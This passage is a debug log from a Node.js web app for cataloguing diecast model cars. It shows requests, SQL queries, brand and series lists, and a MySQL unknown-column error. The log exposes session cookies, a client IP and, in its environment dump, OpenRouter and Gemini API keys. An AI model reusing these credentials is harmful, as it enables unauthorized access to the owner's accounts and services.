    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"5d0a-CBXcLyWEooLhls3HnNMXzj8rZUQ"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AXMc%2B2jq0fNkMHYgBsrEXYw%3D%3D.1lR4jmWImX0hWiNbtxsvjmvU7meTRlGIeVtXAKQHnfgZ2qZjf8U4%2B976Jx13h1U7PweAyRxhaZx4NIyWFYi3Y%2BcGBfeeA5FmrHVhDDfbdp3L9cUxJQ90lI%2BjhEkkG51mt04XBHwxjjs%2FTgjxqAPppgrMm%2BCB6Uvbp94Cfaf8l4Q%3D.WwcGi%2BLbBXpeNTIhr8nNcd%2FKbQLSNe5a7zbp4zidaHQ; your_r_git.sid=s%3AERKOBZZNbZeUOFeuQuE_nvKHrrAaIRb5.r8CsbbJRNC%2Bpr%2FcGL3aHgD1OlDdWtlJ9BJqB6jA8e%2FM',
    'x-forwarded-for': '49.43.185.167',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-14T10:01:13.189Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.185.167',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"5d0a-CBXcLyWEooLhls3HnNMXzj8rZUQ"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AXMc%2B2jq0fNkMHYgBsrEXYw%3D%3D.1lR4jmWImX0hWiNbtxsvjmvU7meTRlGIeVtXAKQHnfgZ2qZjf8U4%2B976Jx13h1U7PweAyRxhaZx4NIyWFYi3Y%2BcGBfeeA5FmrHVhDDfbdp3L9cUxJQ90lI%2BjhEkkG51mt04XBHwxjjs%2FTgjxqAPppgrMm%2BCB6Uvbp94Cfaf8l4Q%3D.WwcGi%2BLbBXpeNTIhr8nNcd%2FKbQLSNe5a7zbp4zidaHQ; your_r_git.sid=s%3AERKOBZZNbZeUOFeuQuE_nvKHrrAaIRb5.r8CsbbJRNC%2Bpr%2FcGL3aHgD1OlDdWtlJ9BJqB6jA8e%2FM',
    'HTTP_X_FORWARDED-FOR': '49.43.185.167',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-07-13T10:02:20.739Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-07-13T10:02:20.739Z server-connect:app Executing action step identify
2026-07-13T10:02:20.740Z server-connect:app options: { provider: 'security' }
2026-07-13T10:02:20.740Z server-connect:output identity: 1
2026-07-13T10:02:20.740Z server-connect:app Executing action step restrict
2026-07-13T10:02:20.740Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-13T10:02:20.740Z server-connect:output restrict: undefined
2026-07-13T10:02:20.740Z server-connect:app Executing action step select
2026-07-13T10:02:20.740Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-07-13T10:02:20.741Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-07-13T10:02:20.743Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-07-13T10:02:20.743Z server-connect:app Executing action step identify
2026-07-13T10:02:20.743Z server-connect:app options: { provider: 'security' }
2026-07-13T10:02:20.744Z server-connect:output identity: 1
2026-07-13T10:02:20.744Z server-connect:app Executing action step restrict
2026-07-13T10:02:20.744Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-13T10:02:20.744Z server-connect:output restrict: undefined
2026-07-13T10:02:20.744Z server-connect:app Executing action step select
2026-07-13T10:02:20.744Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-07-13T10:02:20.746Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-07-13T10:02:20.749Z server-connect:router Serving serverConnect /api/diecast/list
2026-07-13T10:02:20.749Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-07-13T10:02:20.749Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-07-13T10:02:20.750Z server-connect:app Executing action step identify
2026-07-13T10:02:20.750Z server-connect:app options: { provider: 'security' }
2026-07-13T10:02:20.750Z server-connect:output identity: 1
2026-07-13T10:02:20.750Z server-connect:app Executing action step restrict
2026-07-13T10:02:20.750Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-13T10:02:20.750Z server-connect:app Executing action step identify
2026-07-13T10:02:20.750Z server-connect:app options: { provider: 'security' }
2026-07-13T10:02:20.750Z server-connect:output identity: 1
2026-07-13T10:02:20.750Z server-connect:app Executing action step restrict
2026-07-13T10:02:20.750Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-13T10:02:20.751Z server-connect:output restrict: undefined
2026-07-13T10:02:20.751Z server-connect:app Executing action step paged
2026-07-13T10:02:20.751Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) and (`diecast_cars`.`yt_short_created` = ?) and (`diecast_cars`.`yt_video_created` = ?) and (`diecast_cars`.`photoshoot` = ?) and (`diecast_cars`.`overview_created` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-07-13T10:02:20.752Z server-connect:output restrict: undefined
2026-07-13T10:02:20.752Z server-connect:app Executing action step select
2026-07-13T10:02:20.752Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-07-13T10:02:20.753Z server-connect:app Executing action step identify
2026-07-13T10:02:20.753Z server-connect:app options: { provider: 'security' }
2026-07-13T10:02:20.753Z server-connect:output identity: 1
2026-07-13T10:02:20.753Z server-connect:app Executing action step restrict
2026-07-13T10:02:20.753Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-13T10:02:20.753Z server-connect:output Error at list: Error: select count(*) as `Total` from (select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id`) as `t1` limit 1 - Unknown column 'diecast_cars.has_real_car' in 'field list'
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_BAD_FIELD_ERROR',
  errno: 1054,
  sqlState: '42S22',
  sqlMessage: "Unknown column 'diecast_cars.has_real_car' in 'field list'",
  sql: 'select count(*) as `Total` from (select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id`) as `t1` limit 1'
}
2026-07-13T10:02:20.754Z server-connect:server Got error? Error: select count(*) as `Total` from (select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id`) as `t1` limit 1 - Unknown column 'diecast_cars.has_real_car' in 'field list'
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_BAD_FIELD_ERROR',
  errno: 1054,
  sqlState: '42S22',
  sqlMessage: "Unknown column 'diecast_cars.has_real_car' in 'field list'",
  sql: 'select count(*) as `Total` from (select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id`) as `t1` limit 1'
}
2026-07-13T10:02:20.755Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 },
  { name: 'Alpine', id: 196 },
  { name: 'Lexus', id: 197 }
]
2026-07-13T10:02:20.756Z server-connect:output restrict: undefined
2026-07-13T10:02:20.756Z server-connect:app Executing action step select
2026-07-13T10:02:20.756Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-07-13T10:02:20.757Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 196, name: 'Alpine' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 197, name: 'Lexus' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-07-13T10:02:20.757Z server-connect:app Executing action step select
2026-07-13T10:02:20.757Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-07-13T10:02:20.758Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-07-13T10:02:20.758Z server-connect:app Executing action step select
2026-07-13T10:02:20.758Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-07-13T10:02:20.759Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-07-13T10:02:21.053Z server-connect:router Serving templateView /diecast-reports
2026-07-13T10:02:21.053Z server-connect:app Executing action step identify
2026-07-13T10:02:21.053Z server-connect:app options: { provider: 'security' }
2026-07-13T10:02:21.053Z server-connect:output identity: 1
2026-07-13T10:02:21.053Z server-connect:app Executing action step restrict
2026-07-13T10:02:21.053Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-13T10:02:21.053Z server-connect:output restrict: undefined
2026-07-13T10:02:21.054Z server-connect:router Render template diecast-reports
2026-07-13T10:02:21.054Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
